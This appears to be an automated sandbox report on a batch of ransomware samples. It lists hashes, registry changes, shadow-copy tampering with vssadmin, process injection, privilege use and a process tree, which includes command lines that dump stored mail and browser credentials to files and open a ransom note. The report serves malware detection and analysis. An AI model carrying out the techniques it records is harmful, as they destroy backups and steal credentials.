Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Foreign.nmgv-c9704ea156a637add087e25da2ec42bd6e4ee2238117c5f489777d8516dee059.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Fury.oa-1945b61e7d14f000e298439e0ef3d9226b449d9650c5628d56048018fcbe1a95.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Trojan-Ransom.Win32.Bitman.nhn-f97911c161e3a4ccfd2b2e5b90c715bb664100e294c85925a3d9097c2e29a185.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BBLiveSvc.exe

Interacts with shadow copies 3 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1776	vssadmin.exe
4640	vssadmin.exe
8924	vssadmin.exe
5744	vssadmin.exe

Modifies registry class 42 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.gzip	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.xz\ = "BBLiveZipfile"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\BBLiveZipfile\shell\open\command	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\BBLiveZipfile	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7z	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.tar	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ace\ = "BBLiveZipfile"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.arj	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.lzh	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\BBLiveZipfile\shell	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.rar	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.lzma\ = "BBLiveZipfile"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\BBLiveZipfile\DefaultIcon	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.tar2	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.uue	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\ShellEx\ContextMenuHandlers\BBLiveZip Shell Extension\ = "{165417A7-2240-4DDF-AF0D-9F4DEB225FDD}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ace	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cab	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.arj\ = "BBLiveZipfile"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.gzip\ = "BBLiveZipfile"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{165417A7-2240-4DDF-AF0D-9F4DEB225FDD}\InprocServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{165417A7-2240-4DDF-AF0D-9F4DEB225FDD}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\BBLiveZipfile\shell\open	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.tar2\ = "BBLiveZipfile"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\BBLiveZip Shell Extension	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.iso	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bz2	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.lzma	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{165417A7-2240-4DDF-AF0D-9F4DEB225FDD}\ = "BBLiveZip Shell Extension"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\BBLiveZip Shell Extension	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\BBLiveZip Shell Extension	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\BBLiveZipfile\shell\open\command\ = "\"C:\\Program Files (x86)\\BBLiveZip\\BBLiveZip.exe\" \"%1\""	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\BBLiveZipfile\DefaultIcon\ = "C:\\Program Files (x86)\\BBLiveZip\\BBLiveExt64.dll,0"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\BBLiveZip Shell Extension\ = "{165417A7-2240-4DDF-AF0D-9F4DEB225FDD}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.xz	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{165417A7-2240-4DDF-AF0D-9F4DEB225FDD}\InprocServer32\ = "C:\\Program Files (x86)\\BBLiveZip\\BBLiveExt64.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\BBLiveZip Shell Extension\ = "{165417A7-2240-4DDF-AF0D-9F4DEB225FDD}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.zip	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.z	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.uue\ = "BBLiveZipfile"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{165417A7-2240-4DDF-AF0D-9F4DEB225FDD}\InprocServer32\ThreadingModel = "Apartment"	regsvr32.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3712	NOTEPAD.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 25 IoCs

pid	Process
2280	HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
856	HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
2228	HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2908	Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
2664	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
2944	Trojan-Ransom.Win32.Bitman.nhn-f97911c161e3a4ccfd2b2e5b90c715bb664100e294c85925a3d9097c2e29a185.exe
1636	Trojan-Ransom.Win32.Bitman.pgy-79d7b1d118b78ce2b68812118d88318dbffee5663acfd302bf2a07df66938001.exe
2464	Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
2272	Trojan-Ransom.Win32.Blocker.ibju-8a2a28d164a6d4011e83ae3f930de8bf1e01ba2e013bee43460f2f58bdaf4109.exe
2408	Trojan-Ransom.Win32.FileCoder.d-edf38929856a923cf9a0816fc307095d8ab89283407c0d27c309e345e19393ee.exe
1584	Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
2364	Trojan-Ransom.Win32.Foreign.ncak-f9a8a91cc5ca15b0c2ebd8b70baa4c052ed170d3ed07b5be45ea4353184b504e.exe
2456	Trojan-Ransom.Win32.Foreign.nljm-eb2c69c7562e1fe7da6aa440f134109d097fba08d2e57ab991cdba989b0571e2.exe
1688	Trojan-Ransom.Win32.Foreign.nmgv-c9704ea156a637add087e25da2ec42bd6e4ee2238117c5f489777d8516dee059.exe
1620	Trojan-Ransom.Win32.Fury.mo-4eb2d565b18d172a3b2b069ebf152dd6a1514e7b444eaffbbaff77f63984705c.exe
944	Trojan-Ransom.Win32.Fury.oa-1945b61e7d14f000e298439e0ef3d9226b449d9650c5628d56048018fcbe1a95.exe
2580	Trojan-Ransom.Win32.Locky.asa-8f3238700e5575d94227d28d1a7c23d32589ab1ffe4ab071637c49f87ce12d0e.exe
1596	Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe
1148	Trojan-Ransom.Win32.Locky.ln-4eca4a4f186ad246fc0ba6a5075fbe27c589ee921ddc536009e50d2fe162eb94.exe
2204	Trojan-Ransom.Win32.Shade.ozd-dee1692624a25f660ace06dade67bf10f51b351fcee41b6f3e31e82323e43e4c.exe
1272	Trojan-Ransom.Win32.Shade.uv-ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b.exe
1428	Trojan-Ransom.Win32.Shade.yd-75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9.exe
2384	Trojan-Ransom.Win32.Spora.fio-8d8576432cd79c4c6a8902e9fcbdad16c871afae3731a4d9ec9cb6a0be727ffe.exe
2528	Trojan-Ransom.Win32.Zerber.dpqs-18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1676	avjbxnidlyfd.exe
1772	taskmgr.exe
1772	taskmgr.exe
1584	Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
1584	Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
1676	avjbxnidlyfd.exe
1676	avjbxnidlyfd.exe
2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
1584	Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
1676	avjbxnidlyfd.exe
1676	avjbxnidlyfd.exe
1584	Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
1676	avjbxnidlyfd.exe
1676	avjbxnidlyfd.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1148	Trojan-Ransom.Win32.Locky.ln-4eca4a4f186ad246fc0ba6a5075fbe27c589ee921ddc536009e50d2fe162eb94.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2280	HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
1596	Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeRestorePrivilege	2296	7zFM.exe
Token: 35	2296	7zFM.exe
Token: SeSecurityPrivilege	2296	7zFM.exe
Token: SeDebugPrivilege	1772	taskmgr.exe
Token: SeDebugPrivilege	1636	Trojan-Ransom.Win32.Bitman.pgy-79d7b1d118b78ce2b68812118d88318dbffee5663acfd302bf2a07df66938001.exe
Token: SeDebugPrivilege	1336	Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
Token: SeTakeOwnershipPrivilege	2292	HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
Token: SeBackupPrivilege	3044	vssvc.exe
Token: SeRestorePrivilege	3044	vssvc.exe
Token: SeAuditPrivilege	3044	vssvc.exe
Token: SeDebugPrivilege	1676	avjbxnidlyfd.exe
Token: SeTakeOwnershipPrivilege	2928	regsvr32.exe
Token: SeShutdownPrivilege	2068	HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
Token: SeDebugPrivilege	6552	Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
Token: SeDebugPrivilege	6968	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe

Suspicious use of FindShellTrayWindow 55 IoCs

pid	Process
2296	7zFM.exe
2296	7zFM.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe

Suspicious use of SendNotifyMessage 52 IoCs

pid	Process
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe
1772	taskmgr.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2664	Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
1428	Trojan-Ransom.Win32.Shade.yd-75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9.exe
1272	Trojan-Ransom.Win32.Shade.uv-ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b.exe
2528	Trojan-Ransom.Win32.Zerber.dpqs-18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
2408	Trojan-Ransom.Win32.FileCoder.d-edf38929856a923cf9a0816fc307095d8ab89283407c0d27c309e345e19393ee.exe
2204	Trojan-Ransom.Win32.Shade.ozd-dee1692624a25f660ace06dade67bf10f51b351fcee41b6f3e31e82323e43e4c.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 2280	2948	cmd.exe	33
PID 2948 wrote to memory of 2280	2948	cmd.exe	33
PID 2948 wrote to memory of 2280	2948	cmd.exe	33
PID 2948 wrote to memory of 2280	2948	cmd.exe	33
PID 2948 wrote to memory of 856	2948	cmd.exe	34
PID 2948 wrote to memory of 856	2948	cmd.exe	34
PID 2948 wrote to memory of 856	2948	cmd.exe	34
PID 2948 wrote to memory of 856	2948	cmd.exe	34
PID 2948 wrote to memory of 2228	2948	cmd.exe	35
PID 2948 wrote to memory of 2228	2948	cmd.exe	35
PID 2948 wrote to memory of 2228	2948	cmd.exe	35
PID 2948 wrote to memory of 2228	2948	cmd.exe	35
PID 2948 wrote to memory of 2292	2948	cmd.exe	36
PID 2948 wrote to memory of 2292	2948	cmd.exe	36
PID 2948 wrote to memory of 2292	2948	cmd.exe	36
PID 2948 wrote to memory of 2292	2948	cmd.exe	36
PID 2948 wrote to memory of 2292	2948	cmd.exe	36
PID 2948 wrote to memory of 2292	2948	cmd.exe	36
PID 2948 wrote to memory of 2292	2948	cmd.exe	36
PID 2948 wrote to memory of 2908	2948	cmd.exe	37
PID 2948 wrote to memory of 2908	2948	cmd.exe	37
PID 2948 wrote to memory of 2908	2948	cmd.exe	37
PID 2948 wrote to memory of 2908	2948	cmd.exe	37
PID 2948 wrote to memory of 2664	2948	cmd.exe	39
PID 2948 wrote to memory of 2664	2948	cmd.exe	39
PID 2948 wrote to memory of 2664	2948	cmd.exe	39
PID 2948 wrote to memory of 2664	2948	cmd.exe	39
PID 2948 wrote to memory of 2944	2948	cmd.exe	40
PID 2948 wrote to memory of 2944	2948	cmd.exe	40
PID 2948 wrote to memory of 2944	2948	cmd.exe	40
PID 2948 wrote to memory of 2944	2948	cmd.exe	40
PID 2948 wrote to memory of 1636	2948	cmd.exe	41
PID 2948 wrote to memory of 1636	2948	cmd.exe	41
PID 2948 wrote to memory of 1636	2948	cmd.exe	41
PID 2948 wrote to memory of 1636	2948	cmd.exe	41
PID 2948 wrote to memory of 2464	2948	cmd.exe	42
PID 2948 wrote to memory of 2464	2948	cmd.exe	42
PID 2948 wrote to memory of 2464	2948	cmd.exe	42
PID 2948 wrote to memory of 2464	2948	cmd.exe	42
PID 2948 wrote to memory of 2272	2948	cmd.exe	43
PID 2948 wrote to memory of 2272	2948	cmd.exe	43
PID 2948 wrote to memory of 2272	2948	cmd.exe	43
PID 2948 wrote to memory of 2272	2948	cmd.exe	43
PID 2948 wrote to memory of 2408	2948	cmd.exe	44
PID 2948 wrote to memory of 2408	2948	cmd.exe	44
PID 2948 wrote to memory of 2408	2948	cmd.exe	44
PID 2948 wrote to memory of 2408	2948	cmd.exe	44
PID 2948 wrote to memory of 1584	2948	cmd.exe	45
PID 2948 wrote to memory of 1584	2948	cmd.exe	45
PID 2948 wrote to memory of 1584	2948	cmd.exe	45
PID 2948 wrote to memory of 1584	2948	cmd.exe	45
PID 2948 wrote to memory of 2364	2948	cmd.exe	46
PID 2948 wrote to memory of 2364	2948	cmd.exe	46
PID 2948 wrote to memory of 2364	2948	cmd.exe	46
PID 2948 wrote to memory of 2364	2948	cmd.exe	46
PID 2948 wrote to memory of 2456	2948	cmd.exe	47
PID 2948 wrote to memory of 2456	2948	cmd.exe	47
PID 2948 wrote to memory of 2456	2948	cmd.exe	47
PID 2948 wrote to memory of 2456	2948	cmd.exe	47
PID 2948 wrote to memory of 1688	2948	cmd.exe	48
PID 2948 wrote to memory of 1688	2948	cmd.exe	48
PID 2948 wrote to memory of 1688	2948	cmd.exe	48
PID 2948 wrote to memory of 1688	2948	cmd.exe	48
PID 2948 wrote to memory of 1620	2948	cmd.exe	49

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\TaskbarNoNotification = "1"	Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	avjbxnidlyfd.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	avjbxnidlyfd.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00289.7z"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2296

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
  HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: MapViewOfSection
  PID:2280
- - C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
    HEUR-Trojan-Ransom.Win32.Agent.gen-849aa2e275d84c05213f95f764331df0dd743b17b32f61174ac45946544f67eb.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2068
  - - C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\_HELP_HELP_HELP_KV20I.hta"
      4⤵
      PID:6856
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      PID:2572
- C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
  HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:856
- - C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
    HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5068
  - - C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
      "C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe" /stext C:\ProgramData\Mails.txt
      4⤵
      PID:2556
  - - C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe
      "C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Blocker.gen-17f47109c45d94cb4c5f3202471091513abc7309e3c1a826462c37400b8ac8b0.exe" /stext C:\ProgramData\Browsers.txt
      4⤵
      PID:3536
- C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe
  HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2228
- - C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe
    C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Foreign.gen-f2f658da401de9048ea1260912a2ee20c9da3db406c6526205a95783b71cb1f9.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6348
  - - C:\Windows\SysWOW64\svchost.exe
      svchost.exe
      4⤵
      PID:8512
  - - C:\Windows\SysWOW64\calc.exe
      calc.exe
      4⤵
      PID:8560
  - - C:\Windows\SysWOW64\explorer.exe
      explorer.exe
      4⤵
      PID:8632
  - - C:\Windows\SysWOW64\calc.exe
      calc.exe
      4⤵
      PID:9056
- C:\Users\Admin\Desktop\00289\HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
